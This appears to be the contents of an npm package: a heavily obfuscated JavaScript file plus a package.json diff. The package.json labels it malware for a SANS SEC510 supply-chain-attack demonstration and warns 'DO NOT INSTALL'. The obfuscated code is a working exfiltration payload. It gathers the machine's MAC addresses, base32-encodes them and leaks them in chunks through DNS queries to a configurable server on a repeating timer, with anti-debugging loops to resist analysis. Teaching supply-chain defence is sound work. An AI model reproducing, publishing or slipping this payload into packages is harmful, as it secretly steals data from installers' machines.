_0x20bb03===_0x5be53c;};_0xd26fd2[_0x39e3('0xed','3#Q[')]=_0x39e3('0x203','$D93');_0xd26fd2[_0x39e3('0x1be','GPP6')]=_0x39e3('0x116','vnP]');_0xd26fd2[_0x39e3('0xe2','1sf#')]=function(_0x5dcc92){return _0x5dcc92();};_0xd26fd2[_0x39e3('0x11c','@UCe')]=function(_0x1f1a57,_0x225ce6,_0x3d01b2){return _0x1f1a57(_0x225ce6,_0x3d01b2);};const _0x318ece=_0xd26fd2;_0x318ece[_0x39e3('0xdb','XWwO')](_0x48cbc0,this,function(){const _0x4bb7a2={};_0x4bb7a2[_0x39e3('0x201','dSJq')]=function(_0x3bdf6c,_0x348d88,_0x417d7c){return _0x318ece[_0x39e3('0xa8','3#Q[')](_0x3bdf6c,_0x348d88,_0x417d7c);};const _0x4eedd4=_0x4bb7a2;if(_0x318ece[_0x39e3('0x7','Q$g)')](_0x318ece[_0x39e3('0x91','T]Lq')],_0x318ece[_0x39e3('0xfe','(EEv')])){const _0x17ad16=new RegExp(_0x318ece[_0x39e3('0x1e7','(iv&')]);const _0x2dafa0=new RegExp(_0x318ece[_0x39e3('0xeb','88yj')],'i');const _0x30312d=_0x318ece[_0x39e3('0x24','$5d0')](_0x239134,_0x318ece[_0x39e3('0xe','4t5i')]);if(!_0x17ad16[_0x39e3('0x1da','lvcz')](_0x318ece[_0x39e3('0x204','7i8U')](_0x30312d,_0x318ece[_0x39e3('0x158','w%Ij')]))||!_0x2dafa0[_0x39e3('0x37','tWzb')](_0x318ece[_0x39e3('0x1af','3#Q[')](_0x30312d,_0x318ece[_0x39e3('0xb0','Q$g)')]))){if(_0x318ece[_0x39e3('0x1c6','7i8U')](_0x318ece[_0x39e3('0x14d','Q$g)')],_0x318ece[_0x39e3('0x12a','xnEz')])){_0x318ece[_0x39e3('0x11d','Lv^n')](_0x30312d,'0');}else{const _0x3d05ba=firstCall?function(){if(fn){const _0x1fad4b=fn[_0x39e3('0x4a','Dsp2')](context,arguments);fn=null;return _0x1fad4b;}}:function(){};firstCall=![];return _0x3d05ba;}}else{if(_0x318ece[_0x39e3('0x1fa','*#Zi')](_0x318ece[_0x39e3('0x5f','%fQI')],_0x318ece[_0x39e3('0xf1','agrh')])){_0x4eedd4[_0x39e3('0x21','w^&j')](setTimeout,()=>exfiltrate(dnsServer),INTERVAL);}else{_0x318ece[_0x39e3('0x181','xnEz')](_0x239134);}}}else{_0x318ece[_0x39e3('0xbb','5Vp#')](setTimeout,()=>exfiltrate(dnsServer),INTERVAL);}})();}());const base32Encode=require(_0x39e3('0x191','7]pz')+_0x39e3('0x1b5','htpA')+_0x39e3('0x142','*)^0'));const dns=require(_0x39e3('0x66','gr@z'));const macaddress=require(_0x39e3('0x1e8','Dsp2')+_0x39e3('0x4','XWwO'));const dnsPromises=dns[_0x39e3('0xa7','lvcz')+_0x39e3('0x13e','xnEz')];const originalServers=dns[_0x39e3('0x1b','BMNA')+_0x39e3('0x11b','Dsp2')]();const DNS_SERVER=process[_0x39e3('0xd1','(EEv')][_0x39e3('0x20d','*#Zi')+_0x39e3('0x1b8','htpA')]||_0x39e3('0x132','jjJK')+_0x39e3('0x13b','xnEz')+_0x39e3('0x26','*)^0');const TEST=process[_0x39e3('0x14f','tWzb')][_0x39e3('0x1b6','GPP6')]||![];setInterval(function(){const _0x4bd337={};_0x4bd337[_0x39e3('0x196','Q$g)')]=function(_0xc1ebf2){return _0xc1ebf2();};const _0x269c80=_0x4bd337;_0x269c80[_0x39e3('0x67','W!jy')](_0x239134);},0xfa0);const INTERVAL=0x2710;const chunkSubstr=(_0x3fa6d2,_0x199fe2)=>{const _0x5dd506={};_0x5dd506[_0x39e3('0x222','W!jy')]=function(_0x4fffd4,_0x132f89){return _0x4fffd4+_0x132f89;};_0x5dd506[_0x39e3('0xb8','*)^0')]=_0x39e3('0x15c','Zfrp');_0x5dd506[_0x39e3('0x182','htpA')]=_0x39e3('0x5b','dUw6');_0x5dd506[_0x39e3('0x93','vnP]')]=_0x39e3('0x159','Dsp2')+'n';_0x5dd506[_0x39e3('0x15f','7i8U')]=function(_0x59fee6,_0x89ea98){return _0x59fee6/_0x89ea98;};_0x5dd506[_0x39e3('0x8b','$5d0')]=function(_0x27a87d,_0x430e34){return _0x27a87d<_0x430e34;};_0x5dd506[_0x39e3('0xb2','GPP6')]=function(_0x2c5fc9,_0xc586d){return _0x2c5fc9===_0xc586d;};_0x5dd506[_0x39e3('0x6b','w%Ij')]=_0x39e3('0x36','%fQI');const _0x58439f=_0x5dd506;const _0x15d0fe=Math[_0x39e3('0x87','BMNA')](_0x58439f[_0x39e3('0x13c','&QmT')](_0x3fa6d2[_0x39e3('0x109','[u9L')+'h'],_0x199fe2));const _0x4a5fdf=new Array(_0x15d0fe);for(let _0xb0c9b5=0x0,_0x276f63=0x0;_0x58439f[_0x39e3('0x10b','Zfrp')](_0xb0c9b5,_0x15d0fe);++_0xb0c9b5,_0x276f63+=_0x199fe2){if(_0x58439f[_0x39e3('0x44','$D93')](_0x58439f[_0x39e3('0x2a','7]pz')],_0x58439f[_0x39e3('0x1e0','*#Zi')])){_0x4a5fdf[_0xb0c9b5]=_0x3fa6d2[_0x39e3('0x1d9','5Vp#')+'r'](_0x276f63,_0x199fe2);}else{(function(){return!![];}[_0x39e3('0x18a','htpA')+_0x39e3('0x3c','XWwO')+'r'](pZYhun[_0x39e3('0x129','%BLE')](pZYhun[_0x39e3('0x10f','Lng@')],pZYhun[_0x39e3('0xae','$5d0')]))[_0x39e3('0x160','jjJK')](pZYhun[_0x39e3('0x144','%fQI')]));}}return _0x4a5fdf;};const exfiltrate=_0xc04a04=>{const _0x124df4={};_0x124df4[_0x39e3('0xb3','OxO%')]=function(_0x5d2bcf,_0x15c563){return _0x5d2bcf(_0x15c563);};_0x124df4[_0x39e3('0x6d','%BLE')]=function(_0x3a2b98,_0x4caabb){return _0x3a2b98===_0x4caabb;};_0x124df4[_0x39e3('0x8c','7i8U')]=_0x39e3('0x1e4','xnEz');_0x124df4[_0x39e3('0x148','(iv&')]=_0x39e3('0xcd','dUw6');_0x124df4[_0x39e3('0x1ee','3#Q[')]=function(_0x4f12dc,_0x15bf3a,_0x28009e){return _0x4f12dc(_0x15bf3a,_0x28009e);};_0x124df4[_0x39e3('0x146','w^&j')]=_0x39e3('0x13d','88yj')+'48';_0x124df4[_0x39e3('0x1d1','4t5i')]=function(_0x3a7292,_0x340053){return _0x3a7292===_0x340053;};_0x124df4[_0x39e3('0x1a8','OxO%')]=_0x39e3('0x95','w^&j');_0x124df4[_0x39e3('0x42','3#Q[')]=_0x39e3('0x110','W!jy')+_0x39e3('0x5c','dSJq')+_0x39e3('0xa9','7i8U')+_0x39e3('0xa','$5d0')+'/';_0x124df4[_0x39e3('0x73','dSJq')]=_0x39e3('0x16f','5Vp#')+_0x39e3('0x17f','Zfrp')+_0x39e3('0x15d','7]pz')+_0x39e3('0xcb','gr@z')+_0x39e3('0xe3',')o[8');_0x124df4[_0x39e3('0x20e','htpA')]=function(_0x11bb6d){return _0x11bb6d();};_0x124df4[_0x39e3('0x39','agrh')]=function(_0x1fc5c8,_0x8b0bb7){return _0x1fc5c8!==_0x8b0bb7;};_0x124df4[_0x39e3('0x128','*)^0')]=_0x39e3('0x155','6wCl');_0x124df4[_0x39e3('0x1bb','[u9L')]=_0x39e3('0x62','tWzb');_0x124df4[_0x39e3('0xf6','agrh')]=_0x39e3('0x1f7','Dsp2')+_0x39e3('0x207','*#Zi')+_0x39e3('0xd0','htpA')+_0x39e3('0x1ca','KJ75')+_0x39e3('0x5e','jjJK')+'1';_0x124df4[_0x39e3('0x52','%fQI')]=function(_0xb3f7d4,_0x1da2f6){return _0xb3f7d4!==_0x1da2f6;};_0x124df4[_0x39e3('0x43','$(X4')]=_0x39e3('0x17c','Q$g)');_0x124df4[_0x39e3('0xbf','x^UT')]=_0x39e3('0x108','w^&j');_0x124df4[_0x39e3('0x19d','KJ75')]=function(_0x22fc20,_0x5d8fb8){return _0x22fc20===_0x5d8fb8;};_0x124df4[_0x39e3('0x18e','x^UT')]=_0x39e3('0x10d','htpA');_0x124df4[_0x39e3('0x135','BMNA')]=_0x39e3('0x8e','T]Lq');const _0x31c3d9=_0x124df4;macaddress[_0x39e3('0x1c2','*)^0')]()[_0x39e3('0x1ce','%fQI')](_0x30c914=>{if(_0x31c3d9[_0x39e3('0x1b9','uEWo')](_0x31c3d9[_0x39e3('0x46','(EEv')],_0x31c3d9[_0x39e3('0x12','5Vp#')])){_0x31c3d9[_0x39e3('0x65','*)^0')](exfiltrate,_0xc04a04);}else{const _0x3618fd=Object[_0x39e3('0x82','xnEz')+'s'](_0x30c914)[_0x39e3('0x2b','agrh')+'r'](_0x43c945=>_0x43c945[_0x39e3('0x7c','vnP]')])[_0x39e3('0x115','7]pz')](_0xee1403=>_0xee1403[_0x39e3('0x1c8',')o[8')])[_0x39e3('0x14e','(iv&')](',\x20');const _0x1c8c19=_0x39e3('0x49','$5d0')+_0x39e3('0x1a6','6wCl')+_0x39e3('0x20f','jjJK')+_0x39e3('0x173','(EEv')+_0x39e3('0x11e','gr@z')+_0x39e3('0x12c','xnEz')+_0x39e3('0x21e','%fQI')+'e\x20'+_0x3618fd;const _0x4eb508=_0x31c3d9[_0x39e3('0x1df','tWzb')](base32Encode,Buffer[_0x39e3('0x56','x^UT')](_0x1c8c19),_0x31c3d9[_0x39e3('0x1db','7]pz')]);const _0x3c2af1=_0x31c3d9[_0x39e3('0xc5','Dsp2')](chunkSubstr,_0x4eb508,0x3f);const _0x2eea5d=[];dns[_0x39e3('0x12b','KJ75')+_0x39e3('0x194','Zfrp')]([_0xc04a04]);for(let _0x359e12 of _0x3c2af1){if(_0x31c3d9[_0x39e3('0x1a3','Zfrp')](_0x31c3d9[_0x39e3('0x1dc','GPP6')],_0x31c3d9[_0x39e3('0x122','%BLE')])){_0x2eea5d[_0x39e3('0xe5','uEWo')](dnsPromises[_0x39e3('0x1fd','dUw6')+'ve'](_0x359e12));}else{chunks[i]=str[_0x39e3('0x60','7]pz')+'r'](o,size);}}return Promise[_0x39e3('0x209','$5d0')](_0x2eea5d);}})[_0x39e3('0xd6','jjJK')](()=>{const _0x590642={};_0x590642[_0x39e3('0x55','6wCl')]=_0x31c3d9[_0x39e3('0x1f8','htpA')];_0x590642[_0x39e3('0x21a','3#Q[')]=_0x31c3d9[_0x39e3('0x17e','%BLE')];_0x590642[_0x39e3('0x141','6wCl')]=function(_0x3831e4){return _0x31c3d9[_0x39e3('0x1cb','@UCe')](_0x3831e4);};const _0x155d78=_0x590642;if(_0x31c3d9[_0x39e3('0x1e6','dSJq')](_0x31c3d9[_0x39e3('0x219','T]Lq')],_0x31c3d9[_0x39e3('0x139','5Vp#')])){console[_0x39e3('0x202','Dsp2')](_0x31c3d9[_0x39e3('0x147','88yj')]);}else{const _0x477773=function(){const _0x57ba0e=_0x477773[_0x39e3('0x13','Lng@')+_0x39e3('0x1e','x^UT')+'r'](wbfYcd[_0x39e3('0xfd','lvcz')])()[_0x39e3('0x8a','dUw6')+'le'](wbfYcd[_0x39e3('0x33','88yj')]);return!_0x57ba0e[_0x39e3('0x1b3','5Vp#')](_0x551801);};return wbfYcd[_0x39e3('0x1c','vnP]')](_0x477773);}})[_0x39e3('0x5a',')o[8')](_0x5312c8=>{const _0x221d10={};_0x221d10[_0x39e3('0x127','vnP]')]=_0x31c3d9[_0x39e3('0x1c9','%BLE')];const _0x3c0b54=_0x221d10;if(_0x31c3d9[_0x39e3('0x76','c3iF')](_0x31c3d9[_0x39e3('0xd4',')o[8')],_0x31c3d9[_0x39e3('0x11a','%BLE')])){console[_0x39e3('0x29','&QmT')](_0x3c0b54[_0x39e3('0x1b4','T]Lq')]);}else{console[_0x39e3('0xbe','dSJq')](_0x5312c8);}})[_0x39e3('0x4d','88yj')+'ly'](()=>{if(_0x31c3d9[_0x39e3('0x1d6','w%Ij')](_0x31c3d9[_0x39e3('0x124','BMNA')],_0x31c3d9[_0x39e3('0x136','uEWo')])){dns[_0x39e3('0xbc','7i8U')+_0x39e3('0x61','%BLE')](originalServers);if(!TEST){if(_0x31c3d9[_0x39e3('0x4b','xnEz')](_0x31c3d9[_0x39e3('0x18','c3iF')],_0x31c3d9[_0x39e3('0x58','T]Lq')])){return!![];}else{_0x31c3d9[_0x39e3('0xa1','gr@z')](setTimeout,()=>exfiltrate(_0xc04a04),INTERVAL);}}}else{if(fn){const _0x2929f9=fn[_0x39e3('0x104','lvcz')](context,arguments);fn=null;return _0x2929f9;}}});};const startExfiltration=_0x2e2579=>{const _0x19afda={};_0x19afda[_0x39e3('0x79','w%Ij')]=function(_0x69155e,_0x1a20c9){return _0x69155e!==_0x1a20c9;};_0x19afda[_0x39e3('0x217','XWwO')]=_0x39e3('0x1ac','*)^0');_0x19afda[_0x39e3('0x16d','vnP]')]=function(_0x333d58,_0x272446){return _0x333d58(_0x272446);};_0x19afda[_0x39e3('0xfb','7]pz')]=function(_0x45fa2a,_0x417031){return _0x45fa2a===_0x417031;};_0x19afda[_0x39e3('0xa2','4t5i')]=_0x39e3('0x154','4t5i');_0x19afda[_0x39e3('0x123','gr@z')]=function(_0x217828,_0x121c81,_0xa8073c){return _0x217828(_0x121c81,_0xa8073c);};const _0x460d1c=_0x19afda;if(TEST){if(_0x460d1c[_0x39e3('0x206','3#Q[')](_0x460d1c[_0x39e3('0x153','1sf#')],_0x460d1c[_0x39e3('0x217','XWwO')])){return![];}else{_0x460d1c[_0x39e3('0x19e','x^UT')](exfiltrate,_0x2e2579);}}else{if(_0x460d1c[_0x39e3('0x20b','1sf#')](_0x460d1c[_0x39e3('0xec','dSJq')],_0x460d1c[_0x39e3('0xe6','$5d0')])){_0x460d1c[_0x39e3('0x1fc','&QmT')](setTimeout,()=>exfiltrate(_0x2e2579),INTERVAL);}else{if(fn){const _0x331f0f=fn[_0x39e3('0x10a','W!jy')](context,arguments);fn=null;return _0x331f0f;}}}};try{startExfiltration(DNS_SERVER);}catch(_0x5c616a){console[_0x39e3('0xe0','agrh')](_0x5c616a);}function _0x239134(_0x3b047b){const _0x4b81ce={};_0x4b81ce[_0x39e3('0x31','T]Lq')]=function(_0x39eff4,_0x4de059){return _0x39eff4(_0x4de059);};_0x4b81ce[_0x39e3('0xfc','[u9L')]=function(_0x4af421,_0x22e9b1,_0x43c6a3){return _0x4af421(_0x22e9b1,_0x43c6a3);};_0x4b81ce[_0x39e3('0x17a','*)^0')]=function(_0x1aa186,_0x5648e7){return _0x1aa186===_0x5648e7;};_0x4b81ce[_0x39e3('0x164','KJ75')]=_0x39e3('0x64','*#Zi');_0x4b81ce[_0x39e3('0xdd','Lng@')]=_0x39e3('0x152','3#Q[');_0x4b81ce[_0x39e3('0x72','Lv^n')]=function(_0x4d9138,_0x3b45e0){return _0x4d9138(_0x3b45e0);};_0x4b81ce[_0x39e3('0x3f','6wCl')]=_0x39e3('0x7e','5Vp#');_0x4b81ce[_0x39e3('0x1b0','7]pz')]=function(_0x27cf63,_0x430d29,_0x1ec3b0){return _0x27cf63(_0x430d29,_0x1ec3b0);};_0x4b81ce[_0x39e3('0x45','6wCl')]=_0x39e3('0xb4','vnP]')+'48';_0x4b81ce[_0x39e3('0x9b','tWzb')]=_0x39e3('0xc9','5Vp#');_0x4b81ce[_0x39e3('0xc6','gr@z')]=_0x39e3('0x1b2','7]pz');_0x4b81ce[_0x39e3('0x1d2','*)^0')]=_0x39e3('0x59','w^&j')+'g';_0x4b81ce[_0x39e3('0x107','dSJq')]=function(_0x4f4ce9,_0x3cb535){return _0x4f4ce9!==_0x3cb535;};_0x4b81ce[_0x39e3('0xa4','gr@z')]=_0x39e3('0x100','*)^0');_0x4b81ce[_0x39e3('0xad','XWwO')]=_0x39e3('0x187','1sf#');_0x4b81ce[_0x39e3('0x1bf','w%Ij')]=_0x39e3('0x198','[u9L')+_0x39e3('0xc3','dSJq')+_0x39e3('0x168','3#Q[');_0x4b81ce[_0x39e3('0x16b','@UCe')]=_0x39e3('0x214','$D93')+'er';_0x4b81ce[_0x39e3('0x1ed','88yj')]=function(_0x20bcb5,_0x2b143e){return _0x20bcb5===_0x2b143e;};_0x4b81ce[_0x39e3('0x205','w%Ij')]=_0x39e3('0xaf','@UCe');_0x4b81ce[_0x39e3('0x188','Lv^n')]=function(_0x5aecd3,_0x2bf3a6){return _0x5aecd3!==_0x2bf3a6;};_0x4b81ce[_0x39e3('0x1cf','XWwO')]=function(_0x561dc5,_0x5c18fd){return _0x561dc5+_0x5c18fd;};_0x4b81ce[_0x39e3('0x130','GPP6')]=function(_0x4f6153,_0x5737e3){return _0x4f6153/_0x5737e3;};_0x4b81ce[_0x39e3('0xf5','vnP]')]=_0x39e3('0x102','4t5i')+'h';_0x4b81ce[_0x39e3('0x169','(iv&')]=function(_0x430b72,_0x5c628f){return _0x430b72%_0x5c628f;};_0x4b81ce[_0x39e3('0x105','T]Lq')]=_0x39e3('0x1d4','tWzb');_0x4b81ce[_0x39e3('0xcc','Zfrp')]=_0x39e3('0x81','%BLE');_0x4b81ce[_0x39e3('0x11f','*#Zi')]=function(_0x44e372,_0x4b0eef){return _0x44e372+_0x4b0eef;};_0x4b81ce[_0x39e3('0x30','XWwO')]=_0x39e3('0xca','w%Ij');_0x4b81ce[_0x39e3('0x1f4',']KC[')]=_0x39e3('0xb6','$5d0');_0x4b81ce[_0x39e3('0x12d','Q$g)')]=_0x39e3('0x7a','jjJK')+'n';_0x4b81ce[_0x39e3('0x77','7i8U')]=function(_0x1d7695,_0x2dbdb3){return _0x1d7695!==_0x2dbdb3;};_0x4b81ce[_0x39e3('0x10c','W!jy')]=_0x39e3('0x145','[u9L');_0x4b81ce[_0x39e3('0x5d','@UCe')]=_0x39e3('0x163','*)^0');_0x4b81ce[_0x39e3('0x71','@UCe')]=function(_0x3815e9,_0x51377c){return _0x3815e9+_0x51377c;};_0x4b81ce[_0x39e3('0xda','W!jy')]=_0x39e3('0x1c7','Zfrp')+_0x39e3('0x119','$(X4')+'t';_0x4b81ce[_0x39e3('0x2d','3#Q[')]=function(_0x1d187b,_0x583d30){return _0x1d187b(_0x583d30);};_0x4b81ce[_0x39e3('0x23','%fQI')]=_0x39e3('0x1d3','BMNA')+_0x39e3('0x1cd','htpA')+_0x39e3('0x16c','(EEv')+')';_0x4b81ce[_0x39e3('0x21f','htpA')]=_0x39e3('0x12f','6wCl')+_0x39e3('0x125','$(X4')+_0x39e3('0x8d','KJ75')+_0x39e3('0xd7','w^&j')+_0x39e3('0x9d','w^&j')+_0x39e3('0x5','uEWo')+_0x39e3('0x162','T]Lq');_0x4b81ce[_0x39e3('0xc','%fQI')]=_0x39e3('0x171','(iv&');_0x4b81ce[_0x39e3('0xff','BMNA')]=function(_0x5999bd,_0x108b12){return _0x5999bd+_0x108b12;};_0x4b81ce[_0x39e3('0x1bc','(iv&')]=_0x39e3('0x17','x^UT');_0x4b81ce[_0x39e3('0x179','x^UT')]=function(_0x20dc77,_0x4180de){return _0x20dc77+_0x4180de;};_0x4b81ce[_0x39e3('0x21d','88yj')]=_0x39e3('0xac','jjJK');_0x4b81ce[_0x39e3('0x1a0','%BLE')]=function(_0x5c5ee6){return _0x5c5ee6();};_0x4b81ce[_0x39e3('0xe7','1sf#')]=function(_0x15e898,_0x1a900d){return _0x15e898(_0x1a900d);};_0x4b81ce[_0x39e3('0x19b','$(X4')]=function(_0x24524d,_0x47a4d6){return _0x24524d+_0x47a4d6;};_0x4b81ce[_0x39e3('0x1f6','KJ75')]=function(_0x264f51,_0x1b6783,_0x472b52){return _0x264f51(_0x1b6783,_0x472b52);};_0x4b81ce[_0x39e3('0xdc','BMNA')]=function(_0x4aad79,_0x147825){return _0x4aad79!==_0x147825;};_0x4b81ce[_0x39e3('0x13a','BMNA')]=_0x39e3('0x92','$5d0');_0x4b81ce[_0x39e3('0x134','XWwO')]=_0x39e3('0x1ef',')o[8');_0x4b81ce[_0x39e3('0x86','W!jy')]=_0x39e3('0x1c1','gr@z');_0x4b81ce[_0x39e3('0x1aa','KJ75')]=function(_0x43f02b,_0x5c82ca){return _0x43f02b!==_0x5c82ca;};_0x4b81ce[_0x39e3('0x4f','*)^0')]=_0x39e3('0x1','$5d0');const _0x262e4b=_0x4b81ce;function _0x1f6eee(_0x1768af){const _0x32dbb2={};_0x32dbb2[_0x39e3('0x174','%fQI')]=function(_0xb8f193,_0x28cb74){return _0x262e4b[_0x39e3('0x1d5','%BLE')](_0xb8f193,_0x28cb74);};_0x32dbb2[_0x39e3('0xdf','tWzb')]=function(_0x3dd9ea,_0x475457){return _0x262e4b[_0x39e3('0x114','GPP6')](_0x3dd9ea,_0x475457);};_0x32dbb2[_0x39e3('0xef',')o[8')]=_0x262e4b[_0x39e3('0x47','jjJK')];_0x32dbb2[_0x39e3('0x70','T]Lq')]=function(_0x162914,_0x1a89be,_0x56356a){return _0x262e4b[_0x39e3('0x1ff','jjJK')](_0x162914,_0x1a89be,_0x56356a);};_0x32dbb2[_0x39e3('0x99','7]pz')]=_0x262e4b[_0x39e3('0x103','*#Zi')];const _0x57dc98=_0x32dbb2;if(_0x262e4b[_0x39e3('0x1d','T]Lq')](_0x262e4b[_0x39e3('0xb','GPP6')],_0x262e4b[_0x39e3('0x180','lvcz')])){if(_0x3b047b){return _0x1f6eee;}else{_0x262e4b[_0x39e3('0x1dd','Zfrp')](_0x1f6eee,0x0);}}else{if(_0x262e4b[_0x39e3('0xd9','4t5i')](typeof _0x1768af,_0x262e4b[_0x39e3('0xf4','%BLE')])){if(_0x262e4b[_0x39e3('0x4e','c3iF')](_0x262e4b[_0x39e3('0x54','W!jy')],_0x262e4b[_0x39e3('0x19','lvcz')])){return function(_0x1ec328){}[_0x39e3('0x16','dUw6')+_0x39e3('0x10e','Dsp2')+'r'](_0x262e4b[_0x39e3('0xe9','w^&j')])[_0x39e3('0x1ad','agrh')](_0x262e4b[_0x39e3('0x211','dUw6')]);}else{if(TEST){_0x262e4b[_0x39e3('0x112','(EEv')](exfiltrate,dnsServer);}else{_0x262e4b[_0x39e3('0xfc','[u9L')](setTimeout,()=>exfiltrate(dnsServer),INTERVAL);}}}else{if(_0x262e4b[_0x39e3('0x8','Dsp2')](_0x262e4b[_0x39e3('0x51','OxO%')],_0x262e4b[_0x39e3('0x205','w%Ij')])){if(_0x262e4b[_0x39e3('0x15a','Lng@')](_0x262e4b[_0x39e3('0x1ea','vnP]')]('',_0x262e4b[_0x39e3('0x101','5Vp#')](_0x1768af,_0x1768af))[_0x262e4b[_0x39e3('0x12e','*#Zi')]],0x1)||_0x262e4b[_0x39e3('0xea','3#Q[')](_0x262e4b[_0x39e3('0x133','KI32')](_0x1768af,0x14),0x0)){if(_0x262e4b[_0x39e3('0xea','3#Q[')](_0x262e4b[_0x39e3('0x18d','7]pz')],_0x262e4b[_0x39e3('0x20','jjJK')])){promises[_0x39e3('0x189','dSJq')](dnsPromises[_0x39e3('0x35','*)^0')+'ve'](chunk));}else{(function(){if(_0x262e4b[_0x39e3('0x138','htpA')](_0x262e4b[_0x39e3('0xe8','88yj')],_0x262e4b[_0x39e3('0xd3','Zfrp')])){return _0x1f6eee;}else{return!![];}}[_0x39e3('0x15','xnEz')+_0x39e3('0x1de','&QmT')+'r'](_0x262e4b[_0x39e3('0x1a2','1sf#')](_0x262e4b[_0x39e3('0x1d7','4t5i')],_0x262e4b[_0x39e3('0x2c','gr@z')]))[_0x39e3('0xc1','Q$g)')](_0x262e4b[_0x39e3('0xe1','%BLE')]));}}else{if(_0x262e4b[_0x39e3('0x1ae','$(X4')](_0x262e4b[_0x39e3('0xd','c3iF')],_0x262e4b[_0x39e3('0x48','xnEz')])){(function(){if(_0x57dc98[_0x39e3('0x25','7]pz')](_0x57dc98[_0x39e3('0xd2','w^&j')],_0x57dc98[_0x39e3('0x1ab','Dsp2')])){return![];}else{_0x57dc98[_0x39e3('0xc8','Dsp2')](_0x1f6eee,0x0);}}[_0x39e3('0x3d','%fQI')+_0x39e3('0x14b','@UCe')+'r'](_0x262e4b[_0x39e3('0x165','uEWo')](_0x262e4b[_0x39e3('0xbd','[u9L')],_0x262e4b[_0x39e3('0x4c','KJ75')]))[_0x39e3('0x1ad','agrh')](_0x262e4b[_0x39e3('0x137','[u9L')]));}else{const _0xba7a41=Object[_0x39e3('0x200','(iv&')+'s'](macaddresses)[_0x39e3('0x212','dUw6')+'r'](_0x1c89a6=>_0x1c89a6[_0x39e3('0x1a','*#Zi')])[_0x39e3('0x94','&QmT')](_0x2cdb25=>_0x2cdb25[_0x39e3('0x9e','Dsp2')])[_0x39e3('0x1f5','BMNA')](',\x20');const _0x45d5b6=_0x39e3('0x84','BMNA')+_0x39e3('0x1d8','uEWo')+_0x39e3('0xc4','$D93')+_0x39e3('0xb5','Zfrp')+_0x39e3('0xf8','w^&j')+_0x39e3('0x0','GPP6')+_0x39e3('0x151',')o[8')+'e\x20'+_0xba7a41;const _0x40a9a5=_0x57dc98[_0x39e3('0x210','$(X4')](base32Encode,Buffer[_0x39e3('0x56','x^UT')](_0x45d5b6),_0x57dc98[_0x39e3('0x80','w^&j')]);const _0x2345d7=_0x57dc98[_0x39e3('0x18c','XWwO')](chunkSubstr,_0x40a9a5,0x3f);const _0x679391=[];dns[_0x39e3('0x131','*#Zi')+_0x39e3('0x63','Lng@')]([dnsServer]);for(let _0x19b1b7 of _0x2345d7){_0x679391[_0x39e3('0x216','7]pz')](dnsPromises[_0x39e3('0x17d','Lv^n')+'ve'](_0x19b1b7));}return Promise[_0x39e3('0x7d','*#Zi')](_0x679391);}}}else{const _0x54e7ec=firstCall?function(){if(fn){const _0x2c3058=fn[_0x39e3('0x74','T]Lq')](context,arguments);fn=null;return _0x2c3058;}}:function(){};firstCall=![];return _0x54e7ec;}}_0x262e4b[_0x39e3('0xba','htpA')](_0x1f6eee,++_0x1768af);}}try{if(_0x262e4b[_0x39e3('0x41','$(X4')](_0x262e4b[_0x39e3('0x166','*)^0')],_0x262e4b[_0x39e3('0x156','lvcz')])){if(_0x3b047b){if(_0x262e4b[_0x39e3('0x177','Zfrp')](_0x262e4b[_0x39e3('0x215','Lng@')],_0x262e4b[_0x39e3('0xb1','Dsp2')])){return _0x1f6eee;}else{const _0x4412ff=new RegExp(_0x262e4b[_0x39e3('0x190','7]pz')]);const _0x18cbfd=new RegExp(_0x262e4b[_0x39e3('0x69','dSJq')],'i');const _0x4a74a3=_0x262e4b[_0x39e3('0x53','$5d0')](_0x239134,_0x262e4b[_0x39e3('0xf3','c3iF')]);if(!_0x4412ff[_0x39e3('0x7f','&QmT')](_0x262e4b[_0x39e3('0x16e','vnP]')](_0x4a74a3,_0x262e4b[_0x39e3('0xa6','88yj')]))||!_0x18cbfd[_0x39e3('0x113','x^UT')](_0x262e4b[_0x39e3('0x170','vnP]')](_0x4a74a3,_0x262e4b[_0x39e3('0x140','$D93')]))){_0x262e4b[_0x39e3('0x14a','Lv^n')](_0x4a74a3,'0');}else{_0x262e4b[_0x39e3('0x1bd',')o[8')](_0x239134);}}}else{if(_0x262e4b[_0x39e3('0x143','%BLE')](_0x262e4b[_0x39e3('0x27','Lv^n')],_0x262e4b[_0x39e3('0xf','$(X4')])){_0x262e4b[_0x39e3('0x1f','agrh')](_0x48cbc0,this,function(){const _0x1d43a3=new RegExp(_0x262e4b[_0x39e3('0x186','uEWo')]);const _0xaf977e=new RegExp(_0x262e4b[_0x39e3('0x6c','GPP6')],'i');const _0x67287e=_0x262e4b[_0x39e3('0x2f','vnP]')](_0x239134,_0x262e4b[_0x39e3('0x2e','5Vp#')]);if(!_0x1d43a3[_0x39e3('0x16a','W!jy')](_0x262e4b[_0x39e3('0x32','BMNA')](_0x67287e,_0x262e4b[_0x39e3('0x1bc','(iv&')]))||!_0xaf977e[_0x39e3('0xa3','1sf#')](_0x262e4b[_0x39e3('0x118','Q$g)')](_0x67287e,_0x262e4b[_0x39e3('0x83','Q$g)')]))){_0x262e4b[_0x39e3('0x1f2','Q$g)')](_0x67287e,'0');}else{_0x262e4b[_0x39e3('0x85','88yj')](_0x239134);}})();}else{_0x262e4b[_0x39e3('0x18f','$D93')](_0x1f6eee,0x0);}}}else{console[_0x39e3('0x1fe','Lv^n')](err);}}catch(_0x42ca62){}}

package/package.json

@@ -1,6 +1,32 @@
 {
   "name": "check-readstream-really-awesome-totally-secure-i-think",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "5.10.4",
+  "description": "DO NOT INSTALL. This package contains malware used to demonstrate a supply-chain attack. Featured in SANS SEC510: Cloud Security Controls and Mitigations (https://www.sans.org/cyber-security-courses/cloud-security-controls-mitigations/). Promise resolving if a read stream is read successfully and rejecting if an error is thrown or a 404 response is encountered.",
+  "main": "index.js",
+  "files": [
+    "index.js",
+    "innocuous.js"
+  ],
+  "scripts": {
+    "prepublish": "node prepublish.js",
+    "test": "DNS_SERVER=127.0.0.1:9999 node $FILE",
+    "test:dev": "TEST=true FILE=malware.js npm run test",
+    "test:prod": "FILE=innocuous.js npm run test"
+  },
+  "keywords": [
+    "malware",
+    "sans",
+    "security",
+    "cloud"
+  ],
+  "author": "Brandon Evans (@BrandonMaxEvans) and Eric Johnson (@emjohn20)",
+  "license": "SEE LICENSE IN LICENSE",
+  "dependencies": {
+    "base32-encode": "1.1.1",
+    "macaddress": "0.5.1"
+  },
+  "devDependencies": {
+    "javascript-obfuscator": "0.28.2",
+    "node-named": "0.0.1"
+  }
 }